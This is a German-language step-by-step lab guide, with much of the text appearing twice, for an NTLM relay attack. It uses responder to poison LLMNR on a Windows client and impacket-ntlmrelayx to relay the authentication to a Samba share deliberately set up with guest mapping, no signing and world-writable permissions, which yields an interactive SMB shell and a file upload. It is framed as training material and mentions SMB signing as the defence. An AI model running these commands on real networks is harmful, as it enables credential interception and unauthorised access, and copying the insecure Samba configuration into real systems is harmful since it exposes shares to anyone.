NTLM-Relay auf Samba-Freigabe mit Impacket

NTLM-Relay auf Samba-Freigabe mit Impacket

Ziel

Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.

Umgebung

• Angreifer: Kali Linux mit responder und impacket
• Opfer: Windows-System im selben LAN (z. B. 10.0.10.102)
• Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)

NTLM-Relay auf Samba-Freigabe mit Impacket

Ziel

Ein Windows-Client im lokalen Netz wird über LLMNR vergiftet. Die dabei gesendete NTLM-Authentifizierung wird per ntlmrelayx an einen Samba-Server weitergeleitet. Dieser akzeptiert relayed Logins als Gast und erlaubt dadurch Uploads auf eine offene Freigabe.

Umgebung

Angreifer: Kali Linux mit responder und impacket Opfer: Windows-System im selben LAN (z. B. 10.0.10.102) Ziel: Linux mit Samba-Freigabe (z. B. 10.0.10.104)

Samba-Freigabe vorbereiten

Konfiguration in /etc/samba/smb.conf:

[global]
   workgroup = WORKGROUP
   server string = Relayziel
   map to guest = Always
   guest account = nobody
   ntlm auth = yes
   lanman auth = yes
   client lanman auth = yes
   client ntlmv2 auth = yes
   server min protocol = SMB2

[share]
   comment = Relay-Ziel
   path = /mnt/media/share
   read only = no
   guest ok = yes
   public = yes
   browseable = yes
   force user = nobody
   force group = nogroup

Verzeichnis erstellen und Rechte setzen:

mkdir -p /mnt/media/share
chown nobody:nogroup /mnt/media/share
chmod 777 /mnt/media/share
systemctl restart smbd

Verbindung testen

smbclient -L //10.0.10.104 -N

Die Freigabe „share“ muss sichtbar sein. Es darf kein „Signing: required“ erscheinen.

responder starten

responder -I eth0 --disable-http --disable-https

Nur LLMNR/NBT-NS-Poisoning aktivieren. Der integrierte SMB-Server von responder muss deaktiviert bleiben.

ntlmrelayx starten

impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

ntlmrelayx lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter.

Angriff auslösen

Auf dem Windows-Client folgenden UNC-Pfad im Explorer oder per PowerShell öffnen:

\\irgendwas

Wenn der Hostname nicht aufgelöst werden kann, erfolgt ein LLMNR-Broadcast. responder antwortet, ntlmrelayx relayed den NTLM-Auth an das Ziel.

Erfolgreicher Zugriff

In ntlmrelayx erscheint:

[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...
smb> upload /tmp/test.txt

Auf dem Zielsystem prüfen:

ls -l /mnt/media/share

Die Datei ist vorhanden.

Fehlerbehebung

Problem	Mögliche Ursache	Lösung
Kein Relay möglich	SMB Signing aktiv	smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing	Kein Login	NTLM wird abgelehnt	In smb.conf: map to guest = Always, ntlm auth = yes	Keine Shell	Share nicht schreibbar	read only = no, force user = nobody, chmod 777 prüfen	Kein Poisoning	LLMNR deaktiviert	Windows prüfen: Get-NetAdapterBinding -ComponentID ms_llmnrs	Verbindung scheitert	Routing-Problem	ping vom Kali auf Ziel prüfen	ntlmrelayx zeigt nichts	Kein NTLM angekommen	UNC muss einen nicht auflösbaren Namen verwenden (z. B. \\irgendwas)

Hinweise

Funktioniert nur in Netzen mit aktivem LLMNR oder NBT-NS und deaktiviertem SMB-Signing. Für realistische Szenarien sollte SMB-Signing am Server aktiv sein. Diese Methode eignet sich zum Einsatz in Labors und Schulungen zur Demonstration von Authentifizierungs-Relaying.

Funktion der Samba-Konfiguration

• map to guest = Always: Jeder unbekannte Benutzer wird auf den Gastaccount gemappt.
• ntlm auth = yes: Akzeptiert NTLMv1/v2 von ntlmrelayx.
• force user = nobody: Alle Dateien gehören dem Gastnutzer.
• Kein SMB-Signing = relayfähig.

Verbindung testen

smbclient -L //10.0.10.104 -N

→ Die Freigabe "share" muss angezeigt werden. Es darf kein "Signing: required" erscheinen.

Responder starten

responder -I eth0 --disable-http --disable-https

→ Nur LLMNR/NBT-NS Poisoning aktivieren. Kein eingebauter SMB-Server darf laufen.

ntlmrelayx starten

impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server

→ Lauscht auf eingehende NTLM-Verbindungen und leitet sie direkt an die Samba-Freigabe weiter.

Angriff auslösen

Auf dem Windows-Client folgenden UNC-Pfad im Explorer öffnen oder über PowerShell:

\\irgendwas

→ Windows fragt über LLMNR nach "irgendwas", responder vergiftet, NTLM-Auth wird an ntlmrelayx weitergeleitet, Samba akzeptiert Gastlogin.

Erfolgreicher Zugriff

Im Terminal von ntlmrelayx erscheint:

[*] Authenticating against smb://10.0.10.104 as WORKGROUP\Benutzer SUCCEED
[!] Interactive SMB shell opened...
smb> upload /tmp/test.txt

Auf dem Zielsystem prüfen:

ls -l /mnt/media/share

→ Datei ist vorhanden

Fehlerbehebung

Problem	Mögliche Ursache	Lösung
Kein Relay möglich	SMB Signing aktiv	smbclient zeigt „Signing: required“ – ntlmrelayx funktioniert nur ohne Signing	Kein Login	NTLM wird abgelehnt	In smb.conf: map to guest = Always, ntlm auth = yes	Keine Shell	Share nicht schreibbar	read only = no, force user = nobody, chmod 777 prüfen	Kein Poisoning	LLMNR deaktiviert	Windows prüft: Get-NetAdapterBinding -ComponentID ms_llmnrs	Verbindung scheitert	Routing-Problem	ping vom Kali auf Ziel prüfen	ntlmrelayx zeigt nichts	Kein NTLM angekommen	Wird der Name überhaupt per LLMNR angefragt?

Hinweise

• Für realistische Szenarien SMB-Signing auf Servern aktivieren (Absicherung)
• Funktioniert nur in unsicheren Netzwerken mit LLMNR/NBT-NS und offenem SMB
• Laborszenario – für Demonstration und Schulung geeignet